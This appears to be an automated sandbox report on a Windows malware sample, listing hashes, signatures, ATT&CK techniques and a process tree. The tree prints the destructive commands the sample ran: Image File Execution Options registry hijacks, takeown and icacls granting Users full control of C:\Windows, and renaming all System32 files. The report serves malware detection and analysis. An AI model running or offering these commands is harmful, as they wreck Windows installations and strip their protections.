38674f024ba7dbc7cc7a461d1b60b948ee7abbd5e81d26f25f991373cf196ad6

General

Target

38674f024ba7dbc7cc7a461d1b60b948ee7abbd5e81d26f25f991373cf196ad6.exe
Size

865KB
MD5

a11969b7f736f7613b76a2def8c51dbc
SHA1

fa055058e2c1db2fb83ec6b7da9f1c41648889e3
SHA256

38674f024ba7dbc7cc7a461d1b60b948ee7abbd5e81d26f25f991373cf196ad6
SHA512

9ff92c00a0a78786a2222082e3a3452f9d20249844b10cfc774849ad49e56904d9eddb0b3d3b25106bfe741d84fa685b16e15745ba304aaaeb02854bbe3705ec

Score

8^/10

discovery exploit

Malware Config

Signatures

Possible privilege escalation attempt 4 IoCs
exploit

Processes:

takeown.exetakeown.exeicacls.exeicacls.exe

pid process

704 takeown.exe
976 takeown.exe
1064 icacls.exe
1112 icacls.exe
Modifies file permissions 1 TTPs 4 IoCs
discovery

File Permissions Modification
T1222

Processes:

takeown.exetakeown.exeicacls.exeicacls.exe

pid process

704 takeown.exe
976 takeown.exe
1064 icacls.exe
1112 icacls.exe
Kills process with taskkill 2 IoCs
evasion

Processes:

taskkill.exetaskkill.exe

pid process

1720 taskkill.exe
1264 taskkill.exe
Modifies registry key 1 TTPs 2 IoCs

Modify Registry
T1112

Processes:

reg.exereg.exe

pid process

848 reg.exe
524 reg.exe
Suspicious behavior: GetForegroundWindowSpam 1 IoCs

Processes:

38674f024ba7dbc7cc7a461d1b60b948ee7abbd5e81d26f25f991373cf196ad6.exe

pid process

956 38674f024ba7dbc7cc7a461d1b60b948ee7abbd5e81d26f25f991373cf196ad6.exe

pid	process
704	takeown.exe
976	takeown.exe
1064	icacls.exe
1112	icacls.exe

pid	process
704	takeown.exe
976	takeown.exe
1064	icacls.exe
1112	icacls.exe

pid	process
1720	taskkill.exe
1264	taskkill.exe

pid	process
848	reg.exe
524	reg.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

Processes:

takeown.exetakeown.exetaskkill.exe

description	pid	process
Token: SeTakeOwnershipPrivilege	704	takeown.exe
Token: SeTakeOwnershipPrivilege	976	takeown.exe
Token: SeDebugPrivilege	1720	taskkill.exe

Suspicious use of FindShellTrayWindow 64 IoCs

Processes:

38674f024ba7dbc7cc7a461d1b60b948ee7abbd5e81d26f25f991373cf196ad6.exe

pid	process
956	38674f024ba7dbc7cc7a461d1b60b948ee7abbd5e81d26f25f991373cf196ad6.exe
956	38674f024ba7dbc7cc7a461d1b60b948ee7abbd5e81d26f25f991373cf196ad6.exe
956	38674f024ba7dbc7cc7a461d1b60b948ee7abbd5e81d26f25f991373cf196ad6.exe
956	38674f024ba7dbc7cc7a461d1b60b948ee7abbd5e81d26f25f991373cf196ad6.exe
956	38674f024ba7dbc7cc7a461d1b60b948ee7abbd5e81d26f25f991373cf196ad6.exe
956	38674f024ba7dbc7cc7a461d1b60b948ee7abbd5e81d26f25f991373cf196ad6.exe
956	38674f024ba7dbc7cc7a461d1b60b948ee7abbd5e81d26f25f991373cf196ad6.exe
956	38674f024ba7dbc7cc7a461d1b60b948ee7abbd5e81d26f25f991373cf196ad6.exe
956	38674f024ba7dbc7cc7a461d1b60b948ee7abbd5e81d26f25f991373cf196ad6.exe
956	38674f024ba7dbc7cc7a461d1b60b948ee7abbd5e81d26f25f991373cf196ad6.exe
956	38674f024ba7dbc7cc7a461d1b60b948ee7abbd5e81d26f25f991373cf196ad6.exe
956	38674f024ba7dbc7cc7a461d1b60b948ee7abbd5e81d26f25f991373cf196ad6.exe
956	38674f024ba7dbc7cc7a461d1b60b948ee7abbd5e81d26f25f991373cf196ad6.exe
956	38674f024ba7dbc7cc7a461d1b60b948ee7abbd5e81d26f25f991373cf196ad6.exe
956	38674f024ba7dbc7cc7a461d1b60b948ee7abbd5e81d26f25f991373cf196ad6.exe
956	38674f024ba7dbc7cc7a461d1b60b948ee7abbd5e81d26f25f991373cf196ad6.exe
956	38674f024ba7dbc7cc7a461d1b60b948ee7abbd5e81d26f25f991373cf196ad6.exe
956	38674f024ba7dbc7cc7a461d1b60b948ee7abbd5e81d26f25f991373cf196ad6.exe
956	38674f024ba7dbc7cc7a461d1b60b948ee7abbd5e81d26f25f991373cf196ad6.exe
956	38674f024ba7dbc7cc7a461d1b60b948ee7abbd5e81d26f25f991373cf196ad6.exe
956	38674f024ba7dbc7cc7a461d1b60b948ee7abbd5e81d26f25f991373cf196ad6.exe
956	38674f024ba7dbc7cc7a461d1b60b948ee7abbd5e81d26f25f991373cf196ad6.exe
956	38674f024ba7dbc7cc7a461d1b60b948ee7abbd5e81d26f25f991373cf196ad6.exe
956	38674f024ba7dbc7cc7a461d1b60b948ee7abbd5e81d26f25f991373cf196ad6.exe
956	38674f024ba7dbc7cc7a461d1b60b948ee7abbd5e81d26f25f991373cf196ad6.exe
956	38674f024ba7dbc7cc7a461d1b60b948ee7abbd5e81d26f25f991373cf196ad6.exe
956	38674f024ba7dbc7cc7a461d1b60b948ee7abbd5e81d26f25f991373cf196ad6.exe
956	38674f024ba7dbc7cc7a461d1b60b948ee7abbd5e81d26f25f991373cf196ad6.exe
956	38674f024ba7dbc7cc7a461d1b60b948ee7abbd5e81d26f25f991373cf196ad6.exe
956	38674f024ba7dbc7cc7a461d1b60b948ee7abbd5e81d26f25f991373cf196ad6.exe
956	38674f024ba7dbc7cc7a461d1b60b948ee7abbd5e81d26f25f991373cf196ad6.exe
956	38674f024ba7dbc7cc7a461d1b60b948ee7abbd5e81d26f25f991373cf196ad6.exe
956	38674f024ba7dbc7cc7a461d1b60b948ee7abbd5e81d26f25f991373cf196ad6.exe
956	38674f024ba7dbc7cc7a461d1b60b948ee7abbd5e81d26f25f991373cf196ad6.exe
956	38674f024ba7dbc7cc7a461d1b60b948ee7abbd5e81d26f25f991373cf196ad6.exe
956	38674f024ba7dbc7cc7a461d1b60b948ee7abbd5e81d26f25f991373cf196ad6.exe
956	38674f024ba7dbc7cc7a461d1b60b948ee7abbd5e81d26f25f991373cf196ad6.exe
956	38674f024ba7dbc7cc7a461d1b60b948ee7abbd5e81d26f25f991373cf196ad6.exe
956	38674f024ba7dbc7cc7a461d1b60b948ee7abbd5e81d26f25f991373cf196ad6.exe
956	38674f024ba7dbc7cc7a461d1b60b948ee7abbd5e81d26f25f991373cf196ad6.exe
956	38674f024ba7dbc7cc7a461d1b60b948ee7abbd5e81d26f25f991373cf196ad6.exe
956	38674f024ba7dbc7cc7a461d1b60b948ee7abbd5e81d26f25f991373cf196ad6.exe
956	38674f024ba7dbc7cc7a461d1b60b948ee7abbd5e81d26f25f991373cf196ad6.exe
956	38674f024ba7dbc7cc7a461d1b60b948ee7abbd5e81d26f25f991373cf196ad6.exe
956	38674f024ba7dbc7cc7a461d1b60b948ee7abbd5e81d26f25f991373cf196ad6.exe
956	38674f024ba7dbc7cc7a461d1b60b948ee7abbd5e81d26f25f991373cf196ad6.exe
956	38674f024ba7dbc7cc7a461d1b60b948ee7abbd5e81d26f25f991373cf196ad6.exe
956	38674f024ba7dbc7cc7a461d1b60b948ee7abbd5e81d26f25f991373cf196ad6.exe
956	38674f024ba7dbc7cc7a461d1b60b948ee7abbd5e81d26f25f991373cf196ad6.exe
956	38674f024ba7dbc7cc7a461d1b60b948ee7abbd5e81d26f25f991373cf196ad6.exe
956	38674f024ba7dbc7cc7a461d1b60b948ee7abbd5e81d26f25f991373cf196ad6.exe
956	38674f024ba7dbc7cc7a461d1b60b948ee7abbd5e81d26f25f991373cf196ad6.exe
956	38674f024ba7dbc7cc7a461d1b60b948ee7abbd5e81d26f25f991373cf196ad6.exe
956	38674f024ba7dbc7cc7a461d1b60b948ee7abbd5e81d26f25f991373cf196ad6.exe
956	38674f024ba7dbc7cc7a461d1b60b948ee7abbd5e81d26f25f991373cf196ad6.exe
956	38674f024ba7dbc7cc7a461d1b60b948ee7abbd5e81d26f25f991373cf196ad6.exe
956	38674f024ba7dbc7cc7a461d1b60b948ee7abbd5e81d26f25f991373cf196ad6.exe
956	38674f024ba7dbc7cc7a461d1b60b948ee7abbd5e81d26f25f991373cf196ad6.exe
956	38674f024ba7dbc7cc7a461d1b60b948ee7abbd5e81d26f25f991373cf196ad6.exe
956	38674f024ba7dbc7cc7a461d1b60b948ee7abbd5e81d26f25f991373cf196ad6.exe
956	38674f024ba7dbc7cc7a461d1b60b948ee7abbd5e81d26f25f991373cf196ad6.exe
956	38674f024ba7dbc7cc7a461d1b60b948ee7abbd5e81d26f25f991373cf196ad6.exe
956	38674f024ba7dbc7cc7a461d1b60b948ee7abbd5e81d26f25f991373cf196ad6.exe
956	38674f024ba7dbc7cc7a461d1b60b948ee7abbd5e81d26f25f991373cf196ad6.exe

Suspicious use of SendNotifyMessage 2 IoCs

Processes:

38674f024ba7dbc7cc7a461d1b60b948ee7abbd5e81d26f25f991373cf196ad6.exe

pid	process
956	38674f024ba7dbc7cc7a461d1b60b948ee7abbd5e81d26f25f991373cf196ad6.exe
956	38674f024ba7dbc7cc7a461d1b60b948ee7abbd5e81d26f25f991373cf196ad6.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

38674f024ba7dbc7cc7a461d1b60b948ee7abbd5e81d26f25f991373cf196ad6.execmd.execmd.execmd.execmd.execmd.execmd.execmd.exe

description	pid	process	target process
PID 956 wrote to memory of 1540	956	38674f024ba7dbc7cc7a461d1b60b948ee7abbd5e81d26f25f991373cf196ad6.exe	cmd.exe
PID 956 wrote to memory of 1540	956	38674f024ba7dbc7cc7a461d1b60b948ee7abbd5e81d26f25f991373cf196ad6.exe	cmd.exe
PID 956 wrote to memory of 1540	956	38674f024ba7dbc7cc7a461d1b60b948ee7abbd5e81d26f25f991373cf196ad6.exe	cmd.exe
PID 956 wrote to memory of 1540	956	38674f024ba7dbc7cc7a461d1b60b948ee7abbd5e81d26f25f991373cf196ad6.exe	cmd.exe
PID 956 wrote to memory of 1568	956	38674f024ba7dbc7cc7a461d1b60b948ee7abbd5e81d26f25f991373cf196ad6.exe	cmd.exe
PID 956 wrote to memory of 1568	956	38674f024ba7dbc7cc7a461d1b60b948ee7abbd5e81d26f25f991373cf196ad6.exe	cmd.exe
PID 956 wrote to memory of 1568	956	38674f024ba7dbc7cc7a461d1b60b948ee7abbd5e81d26f25f991373cf196ad6.exe	cmd.exe
PID 956 wrote to memory of 1568	956	38674f024ba7dbc7cc7a461d1b60b948ee7abbd5e81d26f25f991373cf196ad6.exe	cmd.exe
PID 956 wrote to memory of 1388	956	38674f024ba7dbc7cc7a461d1b60b948ee7abbd5e81d26f25f991373cf196ad6.exe	cmd.exe
PID 956 wrote to memory of 1388	956	38674f024ba7dbc7cc7a461d1b60b948ee7abbd5e81d26f25f991373cf196ad6.exe	cmd.exe
PID 956 wrote to memory of 1388	956	38674f024ba7dbc7cc7a461d1b60b948ee7abbd5e81d26f25f991373cf196ad6.exe	cmd.exe
PID 956 wrote to memory of 1388	956	38674f024ba7dbc7cc7a461d1b60b948ee7abbd5e81d26f25f991373cf196ad6.exe	cmd.exe
PID 956 wrote to memory of 1300	956	38674f024ba7dbc7cc7a461d1b60b948ee7abbd5e81d26f25f991373cf196ad6.exe	cmd.exe
PID 956 wrote to memory of 1300	956	38674f024ba7dbc7cc7a461d1b60b948ee7abbd5e81d26f25f991373cf196ad6.exe	cmd.exe
PID 956 wrote to memory of 1300	956	38674f024ba7dbc7cc7a461d1b60b948ee7abbd5e81d26f25f991373cf196ad6.exe	cmd.exe
PID 956 wrote to memory of 1300	956	38674f024ba7dbc7cc7a461d1b60b948ee7abbd5e81d26f25f991373cf196ad6.exe	cmd.exe
PID 956 wrote to memory of 1048	956	38674f024ba7dbc7cc7a461d1b60b948ee7abbd5e81d26f25f991373cf196ad6.exe	cmd.exe
PID 956 wrote to memory of 1048	956	38674f024ba7dbc7cc7a461d1b60b948ee7abbd5e81d26f25f991373cf196ad6.exe	cmd.exe
PID 956 wrote to memory of 1048	956	38674f024ba7dbc7cc7a461d1b60b948ee7abbd5e81d26f25f991373cf196ad6.exe	cmd.exe
PID 956 wrote to memory of 1048	956	38674f024ba7dbc7cc7a461d1b60b948ee7abbd5e81d26f25f991373cf196ad6.exe	cmd.exe
PID 1540 wrote to memory of 848	1540	cmd.exe	reg.exe
PID 1540 wrote to memory of 848	1540	cmd.exe	reg.exe
PID 1540 wrote to memory of 848	1540	cmd.exe	reg.exe
PID 1540 wrote to memory of 848	1540	cmd.exe	reg.exe
PID 1568 wrote to memory of 524	1568	cmd.exe	reg.exe
PID 1568 wrote to memory of 524	1568	cmd.exe	reg.exe
PID 1568 wrote to memory of 524	1568	cmd.exe	reg.exe
PID 1568 wrote to memory of 524	1568	cmd.exe	reg.exe
PID 956 wrote to memory of 1676	956	38674f024ba7dbc7cc7a461d1b60b948ee7abbd5e81d26f25f991373cf196ad6.exe	cmd.exe
PID 956 wrote to memory of 1676	956	38674f024ba7dbc7cc7a461d1b60b948ee7abbd5e81d26f25f991373cf196ad6.exe	cmd.exe
PID 956 wrote to memory of 1676	956	38674f024ba7dbc7cc7a461d1b60b948ee7abbd5e81d26f25f991373cf196ad6.exe	cmd.exe
PID 956 wrote to memory of 1676	956	38674f024ba7dbc7cc7a461d1b60b948ee7abbd5e81d26f25f991373cf196ad6.exe	cmd.exe
PID 956 wrote to memory of 1504	956	38674f024ba7dbc7cc7a461d1b60b948ee7abbd5e81d26f25f991373cf196ad6.exe	cmd.exe
PID 956 wrote to memory of 1504	956	38674f024ba7dbc7cc7a461d1b60b948ee7abbd5e81d26f25f991373cf196ad6.exe	cmd.exe
PID 956 wrote to memory of 1504	956	38674f024ba7dbc7cc7a461d1b60b948ee7abbd5e81d26f25f991373cf196ad6.exe	cmd.exe
PID 956 wrote to memory of 1504	956	38674f024ba7dbc7cc7a461d1b60b948ee7abbd5e81d26f25f991373cf196ad6.exe	cmd.exe
PID 1300 wrote to memory of 704	1300	cmd.exe	takeown.exe
PID 1300 wrote to memory of 704	1300	cmd.exe	takeown.exe
PID 1300 wrote to memory of 704	1300	cmd.exe	takeown.exe
PID 1300 wrote to memory of 704	1300	cmd.exe	takeown.exe
PID 1388 wrote to memory of 1720	1388	cmd.exe	taskkill.exe
PID 1388 wrote to memory of 1720	1388	cmd.exe	taskkill.exe
PID 1388 wrote to memory of 1720	1388	cmd.exe	taskkill.exe
PID 1388 wrote to memory of 1720	1388	cmd.exe	taskkill.exe
PID 1676 wrote to memory of 976	1676	cmd.exe	takeown.exe
PID 1676 wrote to memory of 976	1676	cmd.exe	takeown.exe
PID 1676 wrote to memory of 976	1676	cmd.exe	takeown.exe
PID 1676 wrote to memory of 976	1676	cmd.exe	takeown.exe
PID 1048 wrote to memory of 1064	1048	cmd.exe	icacls.exe
PID 1048 wrote to memory of 1064	1048	cmd.exe	icacls.exe
PID 1048 wrote to memory of 1064	1048	cmd.exe	icacls.exe
PID 1048 wrote to memory of 1064	1048	cmd.exe	icacls.exe
PID 1504 wrote to memory of 1112	1504	cmd.exe	icacls.exe
PID 1504 wrote to memory of 1112	1504	cmd.exe	icacls.exe
PID 1504 wrote to memory of 1112	1504	cmd.exe	icacls.exe
PID 1504 wrote to memory of 1112	1504	cmd.exe	icacls.exe
PID 956 wrote to memory of 1920	956	38674f024ba7dbc7cc7a461d1b60b948ee7abbd5e81d26f25f991373cf196ad6.exe	cmd.exe
PID 956 wrote to memory of 1920	956	38674f024ba7dbc7cc7a461d1b60b948ee7abbd5e81d26f25f991373cf196ad6.exe	cmd.exe
PID 956 wrote to memory of 1920	956	38674f024ba7dbc7cc7a461d1b60b948ee7abbd5e81d26f25f991373cf196ad6.exe	cmd.exe
PID 956 wrote to memory of 1920	956	38674f024ba7dbc7cc7a461d1b60b948ee7abbd5e81d26f25f991373cf196ad6.exe	cmd.exe
PID 956 wrote to memory of 1336	956	38674f024ba7dbc7cc7a461d1b60b948ee7abbd5e81d26f25f991373cf196ad6.exe	cmd.exe
PID 956 wrote to memory of 1336	956	38674f024ba7dbc7cc7a461d1b60b948ee7abbd5e81d26f25f991373cf196ad6.exe	cmd.exe
PID 956 wrote to memory of 1336	956	38674f024ba7dbc7cc7a461d1b60b948ee7abbd5e81d26f25f991373cf196ad6.exe	cmd.exe
PID 956 wrote to memory of 1336	956	38674f024ba7dbc7cc7a461d1b60b948ee7abbd5e81d26f25f991373cf196ad6.exe	cmd.exe

C:\Users\Admin\AppData\Local\Temp\38674f024ba7dbc7cc7a461d1b60b948ee7abbd5e81d26f25f991373cf196ad6.exe
"C:\Users\Admin\AppData\Local\Temp\38674f024ba7dbc7cc7a461d1b60b948ee7abbd5e81d26f25f991373cf196ad6.exe"
1⤵
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:956

C:\Windows\SysWOW64\cmd.exe
cmd /c reg add HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\logonui.exe /v logon /t REG_SZ /d 'wscript.exe' /f
2⤵
- Suspicious use of WriteProcessMemory
PID:1540

C:\Windows\SysWOW64\reg.exe
reg add HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\logonui.exe /v logon /t REG_SZ /d 'wscript.exe' /f
3⤵
- Modifies registry key
PID:848

C:\Windows\SysWOW64\cmd.exe
cmd /c reg add HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\explorer.exe /v explorer /t REG_SZ /d 'wscript.exe' /f
2⤵
- Suspicious use of WriteProcessMemory
PID:1568

C:\Windows\SysWOW64\reg.exe
reg add HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\explorer.exe /v explorer /t REG_SZ /d 'wscript.exe' /f
3⤵
- Modifies registry key
PID:524

C:\Windows\SysWOW64\cmd.exe
cmd /c taskkill /f /im explorer.exe
2⤵
- Suspicious use of WriteProcessMemory
PID:1388

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im explorer.exe
3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:1720

C:\Windows\SysWOW64\cmd.exe
cmd /c takeown /f C:\Windows\System32\
2⤵
- Suspicious use of WriteProcessMemory
PID:1300

C:\Windows\SysWOW64\takeown.exe
takeown /f C:\Windows\System32\
3⤵
- Possible privilege escalation attempt
- Modifies file permissions
- Suspicious use of AdjustPrivilegeToken
PID:704

C:\Windows\SysWOW64\cmd.exe
cmd /c icacls C:\Windows\System32 /Grant Users:F
2⤵
- Suspicious use of WriteProcessMemory
PID:1048

C:\Windows\SysWOW64\icacls.exe
icacls C:\Windows\System32 /Grant Users:F
3⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:1064

C:\Windows\SysWOW64\cmd.exe
cmd /c takeown /f C:\Windows\
2⤵
- Suspicious use of WriteProcessMemory
PID:1676

C:\Windows\SysWOW64\takeown.exe
takeown /f C:\Windows\
3⤵
- Possible privilege escalation attempt
- Modifies file permissions
- Suspicious use of AdjustPrivilegeToken
PID:976

C:\Windows\SysWOW64\cmd.exe
cmd /c icacls C:\Windows\ /Grant Users:F
2⤵
- Suspicious use of WriteProcessMemory
PID:1504

C:\Windows\SysWOW64\icacls.exe
icacls C:\Windows\ /Grant Users:F
3⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:1112

C:\Windows\SysWOW64\cmd.exe
cmd /c ren C:\Windows\system32\*.* *.lolxxd
2⤵
PID:1920

C:\Windows\SysWOW64\cmd.exe
cmd /c taskkill /f /im explorer.exe
2⤵
PID:1336

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im explorer.exe
3⤵
- Kills process with taskkill
PID:1264

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File Permissions Modification

1

T1222

Modify Registry

1

T1112

Credential Access

Discovery

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/524-61-0x0000000000000000-mapping.dmp

Download
memory/704-64-0x0000000000000000-mapping.dmp

Download
memory/848-60-0x0000000000000000-mapping.dmp

Download
memory/956-54-0x0000000076181000-0x0000000076183000-memory.dmp

Filesize
8KB

Download
memory/976-66-0x0000000000000000-mapping.dmp

Download
memory/1048-59-0x0000000000000000-mapping.dmp

Download
memory/1064-67-0x0000000000000000-mapping.dmp

Download
memory/1112-68-0x0000000000000000-mapping.dmp

Download
memory/1264-71-0x0000000000000000-mapping.dmp

Download
memory/1300-58-0x0000000000000000-mapping.dmp

Download
memory/1336-70-0x0000000000000000-mapping.dmp

Download
memory/1388-57-0x0000000000000000-mapping.dmp

Download
memory/1504-63-0x0000000000000000-mapping.dmp

Download
memory/1540-55-0x0000000000000000-mapping.dmp

Download
memory/1568-56-0x0000000000000000-mapping.dmp

Download
memory/1676-62-0x0000000000000000-mapping.dmp

Download
memory/1720-65-0x0000000000000000-mapping.dmp

Download
memory/1920-69-0x0000000000000000-mapping.dmp

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

Replay Monitor

Loading Replay Monitor...

Downloads